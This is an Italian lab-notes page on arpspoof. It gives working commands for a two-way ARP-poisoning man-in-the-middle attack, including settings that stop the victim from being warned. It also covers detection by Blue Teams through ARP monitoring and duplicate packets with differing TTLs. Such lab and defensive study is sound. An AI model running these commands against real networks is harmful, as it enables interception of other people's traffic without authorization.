Skip to main content
  1. Comandi/

arpspoof - ARP cache poisoning tool

·3 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Manda pacchetti ARP Reply falsi in loop verso un target, convincendolo che un determinato IP corrisponde al MAC dell'attaccante. Parte del pacchetto dsniff. Usato per simulare attacchi MITM in ambienti di laboratorio.

Sintassi
#

arpspoof -i interfaccia -t target gateway

Flag principali
#

FlagSignificatoCosa fa
-iinterfaceSpecifica l'interfaccia di rete da usare
-ttargetIP del dispositivo da avvelenare
ultimo argIP che vuoi impersonare (di solito il gateway)

MITM completo — avvelenare entrambi i lati
#

Per intercettare il traffico bidirezionale devi avvelenare la ARP cache di due dispositivi:

# Terminale 1 — convincere la vittima che il gateway sei tu
sudo arpspoof -i eth0 -t 192.168.64.3 192.168.64.1
# "Ubuntu (192.168.64.3), il gateway (192.168.64.1) sono io"

# Terminale 2 — convincere il gateway che la vittima sei tu
sudo arpspoof -i eth0 -t 192.168.64.1 192.168.64.3
# "Gateway (192.168.64.1), Ubuntu (192.168.64.3) sono io"
Flusso MITM completo:
  Ubuntu → Kali (crede sia gateway) → Router → internet
  internet → Router → Kali (crede sia Ubuntu) → Ubuntu

  Kali vede tutto il traffico in entrambe le direzioni

Setup necessario prima di lanciare
#

# 1. Abilita IP forwarding — altrimenti il traffico viene scartato
#    e la vittima perde la connessione (DoS involontario)
sudo sysctl -w net.ipv4.ip_forward=1

# 2. Disabilita ICMP Redirect — altrimenti Kali manda
#    messaggi alla vittima che la avvisano dell'hop extra
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.default.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
# ATTENZIONE: disabilitare all e default non basta
# serve anche l'interfaccia specifica (eth0, eth1...)

Firma del MITM in Wireshark
#

Quando il MITM e' attivo, in Wireshark vedi ogni pacchetto due volte con TTL diverso:

Packet 1: 192.168.64.3 > 8.8.8.8  TTL=64  ← originale da Ubuntu
Packet 2: 192.168.64.3 > 8.8.8.8  TTL=63  ← reinoltrato da Kali

Stesso seq number, TTL decrementato di 1 = hop fantasma

Questo e' il segnale che cerca un analista Blue Team: stesso flusso, stesso sequence number, TTL diverso = MITM in corso.

Come rilevarlo (lato Blue Team)
#

# Monitora ARP anomali in tempo reale
sudo tcpdump -i eth0 arp -n

# Controlla se il gateway ha cambiato MAC
ip neighbor show
# Se vedi lo stesso IP con MAC diverso rispetto a ieri = sospetto

# In Wireshark: filtra ARP Reply non richieste
arp.opcode == 2   # mostra tutte le ARP Reply
# Se vedi molte Reply senza una Request precedente = Gratuitous ARP sospetto

ARP cache di Ubuntu avvelenata — come appare
#

# Su Ubuntu durante l'attacco:
ip neighbor show
# 192.168.64.1 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE  ← MAC di Kali!
# 192.168.64.200 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE

# Il gateway (192.168.64.1) e l'attaccante (192.168.64.200)
# hanno lo stesso MAC — segnale inequivocabile di ARP poisoning
Warning

Usare arpspoof su reti non autorizzate e' illegale. Usalo solo su reti di laboratorio di tua proprieta'. Su reti aziendali reali, DAI (Dynamic ARP Inspection) blocca questo attacco automaticamente.

Tip

Se la vittima perde la connessione dopo aver lanciato arpspoof, probabilmente non hai abilitato ip_forward. Verifica: sysctl net.ipv4.ip_forward — deve essere 1.

Dove l'ho usato
#

  • Lab ARP poisoning — MITM tra Ubuntu e gateway su rete host-only UTM

Collegato a
#

  • network — categoria
  • arp — il protocollo che avvelena
  • sysctl — parametri kernel necessari per il lab
  • tcpdump — cattura il traffico intercettato
  • wireshark — analizza la firma del MITM (doppio pacchetto, TTL diverso)

Related